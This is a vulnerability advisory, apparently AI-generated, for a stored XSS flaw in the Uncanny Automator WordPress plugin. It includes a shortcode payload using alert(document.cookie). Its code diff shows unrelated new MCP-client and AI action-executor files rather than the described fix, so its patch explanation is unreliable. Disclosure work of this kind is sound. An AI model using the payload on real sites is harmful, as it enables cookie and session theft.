Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-15522: Uncanny Automator – Easy Automation, Integration, Webhooks & Workflow Builder Plugin <= 6.10.0.2 – Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode (uncanny-automator)

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 6.10.0.2
Patched Version 7.0.0
Disclosed January 21, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-15522:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Uncanny Automator WordPress plugin. The issue affects versions up to and including 6.10.0.2. Attackers with Contributor-level access or higher can inject arbitrary JavaScript via the automator_discord_user_mapping shortcode’s verified_message parameter. The injected script executes when users with verified Discord accounts access the compromised page.

Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping. The vulnerability resides in the plugin’s handling of the verified_message parameter within the automator_discord_user_mapping shortcode. The plugin fails to properly sanitize user-supplied input before storing it and does not adequately escape the output when rendering the parameter value on frontend pages. This allows malicious JavaScript to persist in the database and execute in victims’ browsers.

The exploitation method requires an authenticated attacker with at least Contributor privileges. Attackers craft posts or pages containing the automator_discord_user_mapping shortcode with malicious JavaScript in the verified_message parameter. For example: [automator_discord_user_mapping verified_message=”alert(document.cookie)”] When WordPress renders the shortcode, the plugin outputs the unsanitized verified_message value without proper escaping. The payload executes when any user with a verified Discord account views the page.

The patch addresses the vulnerability by implementing proper input sanitization and output escaping. The fix adds sanitization callbacks for the verified_message parameter during shortcode processing. The plugin now uses esc_attr() or similar escaping functions when outputting the parameter value. These changes ensure that any HTML or JavaScript characters in the verified_message parameter are properly encoded before being rendered in the browser.

Successful exploitation allows attackers to execute arbitrary JavaScript in the context of authenticated users with verified Discord accounts. This can lead to session hijacking, account takeover, content manipulation, and privilege escalation. Attackers can steal sensitive data, perform actions on behalf of victims, or redirect users to malicious sites. The stored nature means the payload persists across multiple sessions and affects all users who view the compromised content.

Differential between vulnerable and patched code

Code Diff
--- a/uncanny-automator/src/api/application/class-application-bootstrap.php
+++ b/uncanny-automator/src/api/application/class-application-bootstrap.php
@@ -0,0 +1,34 @@
+<?php
+declare(strict_types=1);
+namespace Uncanny_AutomatorApiApplication;
+
+use Uncanny_AutomatorApiServicesServices_Bootstrap;
+use Uncanny_AutomatorApiTransportsModel_Context_ProtocolMcp_Bootstrap;
+use Uncanny_AutomatorApiTransportsRestfulRestful_Bootstrap;
+
+/**
+ * Application Bootstrap.
+ *
+ * Central bootstrap class for all API applications.
+ * Initializes services, MCP and RESTful transport layers.
+ *
+ * @since 7.0
+ */
+class Application_Bootstrap {
+
+	/**
+	 * Initialize all API applications.
+	 *
+	 * @since 7.0
+	 *
+	 * @return void
+	 */
+	public function init() {
+		// Initialize services layer (hooks, legacy compatibility).
+		( new Services_Bootstrap() )->init();
+
+		// Initialize transport layers.
+		( new Mcp_Bootstrap() )->init();
+		( new Restful_Bootstrap() )->init();
+	}
+}
--- a/uncanny-automator/src/api/application/mcp/class-mcp-client.php
+++ b/uncanny-automator/src/api/application/mcp/class-mcp-client.php
@@ -0,0 +1,745 @@
+<?php
+/**
+ * MCP Chat Client.
+ *
+ * Handles secure communication with the Model Context Protocol chat service.
+ *
+ * @since 7.0.0
+ */
+
+declare(strict_types=1);
+
+namespace Uncanny_AutomatorApiApplicationMcp;
+
+use Uncanny_AutomatorApiTransportsModel_Context_ProtocolClientClient_Context_Service;
+use Uncanny_AutomatorApiTransportsModel_Context_ProtocolClientClient_Payload_Service;
+use Uncanny_AutomatorApiTransportsModel_Context_ProtocolClientClient_Public_Key_Manager;
+use Uncanny_AutomatorApiTransportsModel_Context_ProtocolClientClient_Token_Service;
+use Uncanny_AutomatorApi_Server;
+use Uncanny_AutomatorTraitsSingleton;
+use WP_Error;
+use WP_Post;
+use WP_REST_Request;
+use WP_REST_Response;
+
+/**
+ * Class Mcp_Client
+ *
+ * @since 7.0.0 Moved to Application layer.
+ */
+// phpcs:disable WordPress.Security.NonceVerification -- MCP client uses custom authentication.
+class Mcp_Client {
+
+	use Singleton;
+
+	/**
+	 * Default inference service URL.
+	 */
+	const INFERENCE_URL = 'https://llm.automatorplugin.com';
+
+	/**
+	 * Default SDK URL for chat components.
+	 */
+	const SDK_URL = 'https://llm.automatorplugin.com/sdk.js';
+
+	/**
+	 * Default SDK CSS URL for chat components.
+	 */
+	const SDK_CSS_URL = 'https://llm.automatorplugin.com/sdk.css';
+
+	/**
+	 * Context helper.
+	 *
+	 * @var Client_Context_Service
+	 */
+	private Client_Context_Service $context_service;
+
+	/**
+	 * Public key helper.
+	 *
+	 * @var Client_Public_Key_Manager
+	 */
+	private Client_Public_Key_Manager $public_key_manager;
+
+	/**
+	 * Token helper.
+	 *
+	 * @var Client_Token_Service
+	 */
+	private Client_Token_Service $token_service;
+
+	/**
+	 * Payload helper.
+	 *
+	 * @var Client_Payload_Service
+	 */
+	private Client_Payload_Service $payload_service;
+
+	/**
+	 * Constructor.
+	 *
+	 * @param Client_Context_Service|null    $context_service Optional context helper.
+	 * @param Client_Public_Key_Manager|null $public_key_manager Optional public key helper.
+	 * @param Client_Token_Service|null      $token_service Optional token helper.
+	 * @param Client_Payload_Service|null    $payload_service Optional payload helper.
+	 */
+	public function __construct(
+		?Client_Context_Service $context_service = null,
+		?Client_Public_Key_Manager $public_key_manager = null,
+		?Client_Token_Service $token_service = null,
+		?Client_Payload_Service $payload_service = null
+	) {
+		$this->context_service    = $context_service ? $context_service : new Client_Context_Service();
+		$this->public_key_manager = $public_key_manager ? $public_key_manager : new Client_Public_Key_Manager();
+		$this->token_service      = $token_service ? $token_service : new Client_Token_Service();
+		$this->payload_service    = $payload_service ? $payload_service : Client_Payload_Service::builder()
+			->with_token_service( $this->token_service )
+			->with_public_key_manager( $this->public_key_manager )
+			->build();
+
+		$this->register_hooks();
+	}
+
+	/**
+	 * Register WordPress hooks.
+	 *
+	 * @return void
+	 */
+	private function register_hooks(): void {
+		add_action( 'admin_footer', array( $this, 'load_chat_sdk' ) );
+		add_action( 'edit_form_after_title', array( $this, 'render_launcher' ) );
+		add_action( 'rest_api_init', array( $this, 'register_rest_routes' ) );
+	}
+
+	/**
+	 * Register REST API routes.
+	 *
+	 * @return void
+	 */
+	public function register_rest_routes(): void {
+		register_rest_route(
+			'uap/v2',
+			'/mcp/chat/refresh',
+			array(
+				'methods'             => 'POST',
+				'callback'            => array( $this, 'refresh_payload' ),
+				'permission_callback' => array( $this, 'ensure_admin_permissions' ),
+				'args'                => array(
+					'page_url' => array(
+						'required'          => false,
+						'type'              => 'string',
+						'sanitize_callback' => 'sanitize_text_field',
+						'validate_callback' => array( $this, 'validate_page_url' ),
+					),
+				),
+			)
+		);
+
+		register_rest_route(
+			'uap/v2',
+			'/mcp/chat/launcher/(?P<recipe_id>d+)',
+			array(
+				'methods'             => 'GET',
+				'callback'            => array( $this, 'get_launcher_html' ),
+				'permission_callback' => array( $this, 'ensure_admin_permissions' ),
+				'args'                => array(
+					'recipe_id' => array(
+						'required'          => true,
+						'type'              => 'integer',
+						'sanitize_callback' => 'absint',
+					),
+				),
+			)
+		);
+	}
+
+	/**
+	 * Validate the optional page_url parameter.
+	 *
+	 * @param mixed $value Candidate value.
+	 * @return bool
+	 */
+	public function validate_page_url( $value ): bool {
+		if ( null === $value || '' === $value ) {
+			return true;
+		}
+
+		if ( ! is_string( $value ) ) {
+			return false;
+		}
+
+		$value = trim( $value );
+
+		if ( '' === $value ) {
+			return false;
+		}
+
+		if ( 0 === strpos( $value, '//' ) ) {
+			return false;
+		}
+
+		if ( preg_match( '#^[a-zA-Z][a-zA-Z0-9+-.]*:#', $value ) ) {
+			$parts  = wp_parse_url( $value );
+			$scheme = strtolower( $parts['scheme'] ?? '' );
+
+			if ( false === $parts || ! in_array( $scheme, array( 'http', 'https' ), true ) ) {
+				return false;
+			}
+
+			return ! empty( $parts['host'] );
+		}
+
+		return 0 === strpos( $value, '/' );
+	}
+
+	/**
+	 * Permission callback used by the REST API route.
+	 *
+	 * @return bool
+	 */
+	public function ensure_admin_permissions(): bool {
+		return $this->context_service->user_has_capability();
+	}
+
+	/**
+	 * Get the current user's display name.
+	 *
+	 * @return string
+	 */
+	public function get_current_user_display_name(): string {
+		return $this->context_service->get_current_user_display_name();
+	}
+
+	/**
+	 * Load the MCP chat SDK in the admin.
+	 *
+	 * @return void
+	 */
+	public function load_chat_sdk(): void {
+		if ( ! $this->context_service->can_access_client() ) {
+			return;
+		}
+
+		if ( ! $this->context_service->is_recipe_screen() ) {
+			return;
+		}
+
+		$force_refresh = isset( $_GET['mcp_refresh_key'] ) && '1' === sanitize_text_field( wp_unslash( $_GET['mcp_refresh_key'] ) );
+
+		if ( ! $this->public_key_manager->ensure_public_key_ready( $force_refresh ) ) {
+			return;
+		}
+
+		printf(
+			'<script src="%s" type="module"></script> <link rel="stylesheet" href="%s">',  // phpcs:ignore WordPress.WP.EnqueuedResources -- MCP launcher web component requires inline loading.
+			esc_url( $this->get_sdk_url() ),
+			esc_url( $this->get_sdk_css_url() )
+		);
+	}
+
+	/**
+	 * Render the chat launcher button.
+	 *
+	 * @param WP_Post|null $post Current post.
+	 * @return void
+	 */
+	public function render_launcher( ?WP_Post $post ): void {
+		if ( ! $this->context_service->should_render_button( $post ) ) {
+			return;
+		}
+
+		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output is escaped in generate_launcher_html.
+		echo $this->generate_launcher_html( $post->ID );
+	}
+
+	/**
+	 * Generate the launcher HTML element including CSS.
+	 *
+	 * Handles all the logic: payload generation, recipe fetching, context building, CSS styles, and HTML element. Returns empty string on any failure.
+	 *
+	 * @param int $recipe_id Recipe post ID.
+	 * @return string The CSS and launcher HTML, or empty string on failure.
+	 */
+	private function generate_launcher_html( int $recipe_id ): string {
+
+		// Ensure the post is a valid recipe.
+		if ( 'uo-recipe' !== get_post_type( $recipe_id ) ) {
+			return '';
+		}
+
+		// Overwrite with the recipe edit page if the recipe ID is available.
+		if ( ! empty( $recipe_id ) ) {
+			$overrides = array(
+				'page_url' => wp_make_link_relative( get_edit_post_link( $recipe_id ) ),
+			);
+		}
+
+		$payload = $this->payload_service->generate_encrypted_payload( $overrides );
+
+		if ( '' === $payload ) {
+			return '';
+		}
+
+		$recipe = Automator()->get_recipe_object( $recipe_id, ARRAY_A );
+
+		if ( empty( $recipe ) || ! is_array( $recipe ) ) {
+			return '';
+		}
+
+		// Skip if recipe type is not set yet - button will be loaded via AJAX after user selects type.
+		if ( empty( $recipe['recipe_type'] ) ) {
+			return '';
+		}
+
+		$context = array(
+			'current_mode'      => array( 'recipe building', 'running action' ),
+			'current_user'      => array(
+				'firstname' => $this->context_service->get_current_user_display_name() ?? '',
+			),
+			'current_recipe'    => $this->transform_recipe_to_context( $recipe ),
+			'current_user_plan' => array(
+				'id'                        => $this->context_service->get_current_user_plan(),
+				'name'                      => $this->context_service->get_current_user_plan_name(),
+				'can_add_scheduled_actions' => 'lite' !== $this->context_service->get_current_user_plan(),
+				'can_run_loops'             => 'lite' !== $this->context_service->get_current_user_plan(),
+				'can_add_action_conditions' => 'lite' !== $this->context_service->get_current_user_plan(),
+			),
+			'metadata'          => $this->get_metadata(),
+		);
+
+		$css = '<style>
+			#poststuff {
+				container-type: inline-size;
+				container-name: recipe-container;
+				min-width: auto !important;
+			}
+
+			@container recipe-container (max-width: 800px) {
+				#post-body {
+					display: flex;
+					flex-direction: column;
+					align-items: flex-start;
+					margin-right: 0 !important;
+				}
+
+				#post-body,
+				#postbox-container-1,
+				#postbox-container-2,
+				#side-sortables {
+					margin-right: 0 !important;
+					width: 100% !important;
+				}
+			}
+
+			ua-chat-launcher {
+				--ua-mpc-chat-launcher-z-index: 159900;
+			}
+		</style>';
+
+		$launcher = sprintf(
+			'<ua-chat-launcher server-url="%s" payload="%s" initial-context='%s' parent-selector="#wpbody" consumer-server-url="%s" consumer-nonce="%s"></ua-chat-launcher>',
+			esc_attr( self::get_inference_url() ),
+			esc_attr( $payload ),
+			esc_attr( base64_encode( wp_json_encode( $context ) ) ),
+			esc_url_raw( rest_url() . AUTOMATOR_REST_API_END_POINT ),
+			esc_attr( wp_create_nonce( 'wp_rest' ) )
+		);
+
+		return $css . $launcher;
+	}
+
+	/**
+	 * Transform recipe data structure to match the expected context schema.
+	 *
+	 * This method maps the recipe data from Automator()->get_recipe_object()
+	 * to the structure expected by the MCP chat client (validated by Zod/Pydantic).
+	 *
+	 * @param array $recipe Recipe data from Automator()->get_recipe_object().
+	 * @return array Transformed recipe context with keys: id, title, triggers, actions, conditions_group.
+	 */
+	private function transform_recipe_to_context( array $recipe ): array {
+
+		// Initialize context with safe defaults.
+		$context = array(
+			'id'               => 0,
+			'title'            => '',
+			'recipe_type'      => '',
+			'triggers'         => array(),
+			'actions'          => array(),
+			'conditions_group' => array(),
+		);
+
+		// Extract and validate recipe ID.
+		if ( isset( $recipe['recipe_id'] ) ) {
+			$context['id'] = absint( $recipe['recipe_id'] );
+		}
+
+		// Extract and sanitize recipe title.
+		if ( isset( $recipe['title'] ) && is_string( $recipe['title'] ) ) {
+			$context['title'] = sanitize_text_field( $recipe['title'] );
+		}
+
+		// Extract recipe user type ('user' or 'anonymous').
+		if ( isset( $recipe['recipe_type'] ) && is_string( $recipe['recipe_type'] ) ) {
+			$context['recipe_type'] = sanitize_text_field( $recipe['recipe_type'] );
+		}
+
+		// Transform triggers.
+		$context['triggers'] = $this->extract_triggers( $recipe );
+
+		// Transform actions and condition groups.
+		$actions_data = $this->extract_actions_and_conditions( $recipe );
+
+		$context['actions']          = $actions_data['actions'] ?? array();
+		$context['conditions_group'] = $actions_data['conditions_group'] ?? array();
+
+		/**
+		 * Filter the transformed recipe context before it is sent to the MCP client.
+		 *
+		 * @param array $context Transformed recipe context.
+		 * @param array $recipe  Original recipe data.
+		 */
+		return apply_filters( 'automator_mcp_transform_recipe_context', $context, $recipe );
+	}
+
+	/**
+	 * Extract triggers from recipe data.
+	 *
+	 * @param array $recipe Recipe data.
+	 * @return array Array of trigger objects with id and sentence.
+	 */
+	private function extract_triggers( array $recipe ): array {
+
+		$triggers = array();
+
+		if ( ! isset( $recipe['triggers']['items'] ) || ! is_array( $recipe['triggers']['items'] ) ) {
+			return $triggers;
+		}
+
+		foreach ( $recipe['triggers']['items'] as $trigger ) {
+
+			if ( ! is_array( $trigger ) ) {
+				continue;
+			}
+
+			// Validate required fields.
+			if ( ! isset( $trigger['id'] ) || ! isset( $trigger['backup']['sentence'] ) ) {
+				continue;
+			}
+
+			// Skip if sentence is empty.
+			if ( empty( $trigger['backup']['sentence'] ) || ! is_string( $trigger['backup']['sentence'] ) ) {
+				continue;
+			}
+
+			$triggers[] = array(
+				'id'       => absint( $trigger['id'] ),
+				'sentence' => sanitize_text_field( $trigger['backup']['sentence'] ),
+			);
+
+		}
+
+		return $triggers;
+	}
+
+	/**
+	 * Extract actions and condition groups from recipe data.
+	 *
+	 * @param array $recipe Recipe data.
+	 * @return array Array with 'actions' and 'conditions_group' keys.
+	 */
+	private function extract_actions_and_conditions( array $recipe ): array {
+
+		$actions          = array();
+		$conditions_group = array();
+
+		if ( ! isset( $recipe['actions']['items'] ) || ! is_array( $recipe['actions']['items'] ) ) {
+			return array(
+				'actions'          => $actions,
+				'conditions_group' => $conditions_group,
+			);
+		}
+
+		foreach ( $recipe['actions']['items'] as $item ) {
+
+			if ( ! is_array( $item ) ) {
+				continue;
+			}
+
+			$item_type = $item['type'] ?? '';
+
+			// Handle root-level actions.
+			if ( 'action' === $item_type ) {
+				$action = $this->extract_single_action( $item );
+				if ( ! empty( $action ) ) {
+					$actions[] = $action;
+				}
+			}
+
+			// Handle condition groups (filters).
+			if ( 'filter' === $item_type ) {
+				$group = $this->extract_condition_group( $item );
+				// Only add non-empty groups.
+				if ( ! empty( $group['conditions'] ) || ! empty( $group['actions'] ) ) {
+					$conditions_group[] = $group;
+				}
+			}
+		}
+
+		return array(
+			'actions'          => $actions,
+			'conditions_group' => $conditions_group,
+		);
+	}
+
+	/**
+	 * Extract a single action from item data.
+	 *
+	 * @param array $item Action item data.
+	 * @return array Action object with id and sentence, or empty array if invalid.
+	 */
+	private function extract_single_action( array $item ): array {
+
+		// Validate required fields.
+		if ( ! isset( $item['id'] ) || ! isset( $item['backup']['sentence'] ) ) {
+			return array();
+		}
+
+		// Skip if sentence is empty.
+		if ( empty( $item['backup']['sentence'] ) || ! is_string( $item['backup']['sentence'] ) ) {
+			return array();
+		}
+
+		return array(
+			'id'       => absint( $item['id'] ),
+			'sentence' => sanitize_text_field( $item['backup']['sentence'] ),
+		);
+	}
+
+	/**
+	 * Extract a condition group (filter) from item data.
+	 *
+	 * @param array $item Filter item data.
+	 * @return array Group object with conditions and actions arrays.
+	 */
+	private function extract_condition_group( array $item ): array {
+
+		$group = array(
+			'conditions' => array(),
+			'actions'    => array(),
+		);
+
+		// Extract conditions.
+		if ( isset( $item['conditions'] ) && is_array( $item['conditions'] ) ) {
+
+			foreach ( $item['conditions'] as $condition ) {
+
+				if ( ! is_array( $condition ) ) {
+					continue;
+				}
+
+				// Validate required fields.
+				if ( ! isset( $condition['id'] ) || ! isset( $condition['backup']['sentence'] ) ) {
+					continue;
+				}
+
+				// Skip if sentence is empty.
+				if ( empty( $condition['backup']['sentence'] ) || ! is_string( $condition['backup']['sentence'] ) ) {
+					continue;
+				}
+
+				$group['conditions'][] = array(
+					'id'       => sanitize_text_field( $condition['id'] ),
+					'sentence' => sanitize_text_field( $condition['backup']['sentence'] ),
+				);
+
+			}
+		}
+
+		// Extract actions within the filter.
+		if ( isset( $item['items'] ) && is_array( $item['items'] ) ) {
+
+			foreach ( $item['items'] as $filter_action ) {
+
+				if ( ! is_array( $filter_action ) ) {
+					continue;
+				}
+
+				// Only process action types.
+				if ( 'action' !== ( $filter_action['type'] ?? '' ) ) {
+					continue;
+				}
+
+				$action = $this->extract_single_action( $filter_action );
+
+				if ( ! empty( $action ) ) {
+					$group['actions'][] = $action;
+				}
+			}
+		}
+
+		return $group;
+	}
+
+	/**
+	 * Inference service URL.
+	 *
+	 * @return string
+	 */
+	public static function get_inference_url(): string {
+		$url = defined( 'AUTOMATOR_MCP_CLIENT_INFERENCE_URL' ) && AUTOMATOR_MCP_CLIENT_INFERENCE_URL
+			? AUTOMATOR_MCP_CLIENT_INFERENCE_URL
+			: self::INFERENCE_URL;
+
+		return apply_filters( 'automator_mcp_client_inference_url', $url );
+	}
+
+	/**
+	 * REST callback that returns a refreshed encrypted payload.
+	 *
+	 * @param WP_REST_Request $request REST request.
+	 * @return WP_REST_Response|WP_Error
+	 */
+	public function refresh_payload( WP_REST_Request $request ) {
+		$page_url = $request->get_param( 'page_url' );
+
+		if ( null !== $page_url && ! is_string( $page_url ) ) {
+			return new WP_Error(
+				'invalid_page_url',
+				esc_html_x( 'The supplied page URL must be a string.', 'MCP client validation error', 'uncanny-automator' ),
+				array( 'status' => 400 )
+			);
+		}
+
+		if ( is_string( $page_url ) && '' !== $page_url && ! $this->validate_page_url( $page_url ) ) {
+			return new WP_Error(
+				'invalid_page_url',
+				esc_html_x( 'The supplied page URL is invalid.', 'MCP client validation error', 'uncanny-automator' ),
+				array( 'status' => 400 )
+			);
+		}
+
+		if ( ! $this->public_key_manager->ensure_public_key_ready() ) {
+			return new WP_Error(
+				'public_key_unavailable',
+				esc_html_x( 'Unable to load the required encryption key.', 'MCP client validation error', 'uncanny-automator' ),
+				array( 'status' => 500 )
+			);
+		}
+
+		$payload = $this->payload_service->generate_encrypted_payload(
+			is_string( $page_url ) ? array( 'page_url' => $page_url ) : array()
+		);
+
+		if ( '' === $payload ) {
+			return new WP_Error(
+				'encryption_failed',
+				esc_html_x( 'Could not generate the encrypted payload.', 'MCP client validation error', 'uncanny-automator' ),
+				array( 'status' => 500 )
+			);
+		}
+
+		return rest_ensure_response(
+			array(
+				'encrypted_payload' => $payload,
+			)
+		);
+	}
+
+	/**
+	 * REST callback that returns the chat launcher HTML.
+	 *
+	 * This endpoint is used to fetch the chat launcher button after the user has selected a recipe type.
+	 * Temporary solution until the recipe type selector is removed.
+	 *
+	 * @param WP_REST_Request $request REST request.
+	 * @return WP_REST_Response
+	 */
+	public function get_launcher_html( WP_REST_Request $request ) {
+		$html = $this->generate_launcher_html( $request->get_param( 'recipe_id' ) );
+
+		return rest_ensure_response(
+			array(
+				'html' => $html,
+			)
+		);
+	}
+
+	/**
+	 * Get the SDK URL.
+	 *
+	 * Appends a license hash parameter for beta enrollment verification.
+	 * The hash is computed as HMAC-SHA256(license_key, license_key) to avoid
+	 * exposing raw license keys in URLs.
+	 *
+	 * @return string
+	 */
+	private function get_sdk_url(): string {
+		// Check if developer explicitly defined a custom SDK URL.
+		$is_custom_url = defined( 'AUTOMATOR_MCP_CLIENT_SDK_URL' ) && AUTOMATOR_MCP_CLIENT_SDK_URL;
+
+		$url = $is_custom_url
+			? AUTOMATOR_MCP_CLIENT_SDK_URL
+			: self::SDK_URL;
+
+		// Only validate URLs that aren't explicitly defined by developers.
+		// This allows localhost URLs for development while protecting against injection in production.
+		if ( ! $is_custom_url && ! wp_http_validate_url( $url ) ) {
+			$url = self::SDK_URL;
+		}
+
+		// Allow URL overwrite via filter.
+		$url = apply_filters( 'automator_mcp_client_sdk_url', $url );
+
+		// Append license hash for beta enrollment check.
+		$license_key = Api_Server::get_license_key();
+		if ( ! empty( $license_key ) ) {
+			$license_hash = hash_hmac( 'sha256', $license_key, $license_key );
+			$url          = add_query_arg( 'l', $license_hash, $url );
+		}
+
+		// Append plugin version for cache busting.
+		$version = AUTOMATOR_PLUGIN_VERSION; // No need to check constant - defined in main plugin file.
+		$url     = add_query_arg( 'v', $version, $url );
+
+		return $url;
+	}
+
+	/**
+	 * Get the SDK CSS URL.
+	 *
+	 * @return string
+	 */
+	private function get_sdk_css_url(): string {
+		$url = defined( 'AUTOMATOR_MCP_CLIENT_SDK_CSS_URL' ) && AUTOMATOR_MCP_CLIENT_SDK_CSS_URL
+			? AUTOMATOR_MCP_CLIENT_SDK_CSS_URL
+			: self::SDK_CSS_URL;
+
+		return apply_filters( 'automator_mcp_client_sdk_css_url', $url );
+	}
+
+	/**
+	 * Get metadata to send to the MCP client.
+	 *
+	 * @return string
+	 */
+	private function get_metadata(): string {
+
+		global $wp;
+
+		$current_url = home_url( add_query_arg( $_GET, $wp->request ) );
+
+		$server_software = sanitize_text_field( wp_unslash( $_SERVER['SERVER_SOFTWARE'] ?? '' ) ); // phpcs:ignore WordPress.Security.NonceVerification -- No sensitive data.
+
+		$metadata = array(
+			'plugin_version'  => AUTOMATOR_PLUGIN_VERSION,
+			'current_url'     => $current_url,
+			'php_version'     => PHP_VERSION,
+			'wp_version'      => get_bloginfo( 'version' ),
+			'server_software' => ! empty( $server_software ) ? $server_software : 'unknown',
+		);
+
+		// Safe to ignore false return - array is well-formed. Using base64 to safely encode JSON for payload.
+		return base64_encode( wp_json_encode( $metadata ) ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions -- No sensitive data.
+	}
+}
--- a/uncanny-automator/src/api/application/recipe_runner/processor.php
+++ b/uncanny-automator/src/api/application/recipe_runner/processor.php
@@ -0,0 +1,3 @@
+<?php
+declare(strict_types=1);
+// Future recipe runner implementing saga/pipeline pattern.
--- a/uncanny-automator/src/api/application/sub_tooling/class-action-executor.php
+++ b/uncanny-automator/src/api/application/sub_tooling/class-action-executor.php
@@ -0,0 +1,724 @@
+<?php
+/**
+ * Action Executor - Production-grade reflection-based action execution.
+ *
+ * Executes ANY registered Automator action via reflection.
+ * Supports all 4 action styles:
+ *   - App_Action (92 actions)
+ *   - Abstract Action (82 actions)
+ *   - Trait-based (106 actions)
+ *   - Legacy (57 actions)
+ *
+ * Total: 500+ agents with comprehensive error handling coverage.
+ *
+ * @package Uncanny_AutomatorApiApplicationSub_Tooling
+ * @since   7.0.0
+ */
+
+namespace Uncanny_AutomatorApiApplicationSub_Tooling;
+
+use Uncanny_AutomatorApiComponentsActionValue_ObjectsAction_Code;
+use Uncanny_AutomatorApiServicesActionUtilitiesAction_Validator;
+use WP_Error;
+
+/**
+ * Class Action_Executor
+ *
+ * @since 7.0.0
+ */
+class Action_Executor {
+
+	/**
+	 * Banned action codes that cannot be executed via the AI agent.
+	 *
+	 * These actions are restricted for safety reasons. Each entry maps an action
+	 * code to a human-readable reason that will be shown to the AI.
+	 *
+	 * @since 7.0.0
+	 * @var array<string, string>
+	 */
+	private const BANNED_ACTIONS = array(
+		'DB_QUERY_RUN_QUERY_STRING'  => 'Running raw database queries is restricted. Use the MySQL select tools (mysql_get_tables, mysql_get_table_columns, mysql_select_from_table) for read-only database operations.',
+		'DB_QUERY_SELECT_QUERY_RUN'  => 'Use the MySQL select tools (mysql_get_tables, mysql_get_table_columns, mysql_select_from_table) instead.',
+		'DELETEUSER'                 => 'Deleting users is restricted for safety.',
+	);
+
+	/**
+	 * Current action code value object (for logging and downstream use).
+	 *
+	 * @var Action_Code|null
+	 */
+	private $action_code = null;
+
+	/**
+	 * Cached validator instance (lazy-loaded).
+	 *
+	 * @var Action_Validator|null
+	 */
+	private $validator = null;
+
+	/**
+	 * Execution start time for metrics.
+	 *
+	 * @var float
+	 */
+	private $execution_start = 0.0;
+
+	/**
+	 * Execute any action by code using reflection.
+	 *
+	 * @param string $action_code The action code (e.g., 'SENDEMAIL', 'SLACKSENDMESSAGE').
+	 * @param array  $fields      Key-value field data. Keys must match action's option_code values.
+	 * @param int    $user_id     User context for the action execution.
+	 *
+	 * @return array{success: bool, data: array, error?: string, tokens?: array, execution_time_ms?: float}|WP_Error
+	 */
+	public function run( string $action_code, array $fields, int $user_id ) {
+
+		$this->execution_start = microtime( true );
+
+		// Create Action_Code value object (validates format and length).
+		try {
+			$this->action_code = new Action_Code( $action_code );
+		} catch ( InvalidArgumentException $e ) {
+			// Map exception message to appropriate error code.
+			$error_code = 'invalid_action_code';
+			if ( strpos( $e->getMessage(), 'empty' ) !== false ) {
+				$error_code = 'empty_action_code';
+			} elseif ( strpos( $e->getMessage(), 'uppercase' ) !== false ) {
+				$error_code = 'invalid_action_code_format';
+			}
+
+			$this->log( 'error', 'Action code validation failed: ' . $e->getMessage() );
+			return new WP_Error( $error_code, $e->getMessage() );
+		}
+
+		// Check if action is banned for AI execution.
+		$ban_check = $this->check_action_banned( $this->action_code->get_value() );
+		if ( is_wp_error( $ban_check ) ) {
+			$this->log( 'warning', 'Banned action attempted: ' . $this->action_code->get_value() );
+			return $ban_check;
+		}
+
+		// Validate user ID.
+		$user_validation = $this->validate_user_id( $user_id );
+		if ( is_wp_error( $user_validation ) ) {
+			$this->log( 'error', 'User validation failed: ' . $user_validation->get_error_message() );
+			return $user_validation;
+		}
+
+		// Validate fields against action schema BEFORE normalization (validator expects raw input).
+		$field_validation = $this->validate_fields( $this->action_code->get_value(), $fields );
+		if ( is_wp_error( $field_validation ) ) {
+			$this->log( 'error', 'Field validation failed: ' . $field_validation->get_error_message() );
+			return $field_validation;
+		}
+
+		// Normalize fields AFTER validation (JSON-encode arrays for repeater/multi-select fields).
+		$fields = $this->normalize_fields( $fields );
+
+		// Get action definition from registry.
+		$definition = $this->get_action_definition( $this->action_code );
+		if ( is_wp_error( $definition ) ) {
+			$this->log( 'error', 'Definition not found: ' . $definition->get_error_message() );
+			return $definition;
+		}
+
+		$action = $definition['instance'];
+
+		$action_code_str = $this->action_code->get_value();
+
+		/**
+		 * Fires before action execution.
+		 *
+		 * @param string $action_code The action code.
+		 * @param array  $fields      Field values provided.
+		 * @param int    $user_id     User ID context.
+		 * @param object $action      The action instance.
+		 *
+		 * @since 7.0.0
+		 */
+		do_action( 'automator_agent_before_execute', $action_code_str, $fields, $user_id, $action );
+
+		// Route to appropriate execution method based on action style.
+		if ( method_exists( $action, 'process_action' ) ) {
+			$result = $this->invoke_modern_action( $action, $fields, $user_id );
+		} else {
+			$method = $definition['method'];
+			if ( empty( $method ) || ! method_exists( $action, $method ) ) {
+				return new WP_Error(
+					'no_execution_method',
+					/* translators: %s: Action code */
+					sprintf( esc_html_x( "Action '%s' has no executable method", 'Error message when action has no execution method', 'uncanny-automator' ), esc_html( $action_code_str ) )
+				);
+			}
+			$result = $this->invoke_legacy_action( $action, $method, $fields, $user_id );
+		}
+
+		// Add execution metrics.
+		$result['execution_time_ms'] = round( ( microtime( true ) - $this->execution_start ) * 1000, 2 );
+
+		/**
+		 * Fires after action execution.
+		 *
+		 * @param string $action_code The action code.
+		 * @param array  $fields      Field values provided.
+		 * @param int    $user_id     User ID context.
+		 * @param array  $result      Execution result.
+		 *
+		 * @since 7.0.0
+		 */
+		do_action( 'automator_agent_after_execute', $action_code_str, $fields, $user_id, $result );
+
+		$this->log(
+			$result['success'] ? 'info' : 'error',
+			sprintf(
+				'Execution %s (%.2fms)',
+				$result['success'] ? 'succeeded' : 'failed',
+				$result['execution_time_ms']
+			)
+		);
+
+		return $result;
+	}
+
+	/**
+	 * Validate user ID.
+	 *
+	 * @param int $user_id User ID.
+	 *
+	 * @return true|WP_Error
+	 */
+	private function validate_user_id( int $user_id ) {
+
+		if ( $user_id < 0 ) {
+			return new WP_Error( 'invalid_user_id', 'User ID must be non-negative' );
+		}
+
+		// User ID 0 is valid for anonymous/system actions.
+		if ( $user_id > 0 && ! get_user_by( 'id', $user_id ) ) {
+			return new WP_Error( 'user_not_found', sprintf( 'User ID %d does not exist', $user_id ) );
+		}
+
+		return true;
+	}
+
+	/**
+	 * Check if an action is banned from AI execution.
+	 *
+	 * Some actions are restricted for safety reasons (e.g., destructive operations).
+	 * This method checks the BANNED_ACTIONS constant and returns an error if banned.
+	 *
+	 * @since 7.0.0
+	 *
+	 * @param string $action_code The action code to check.
+	 *
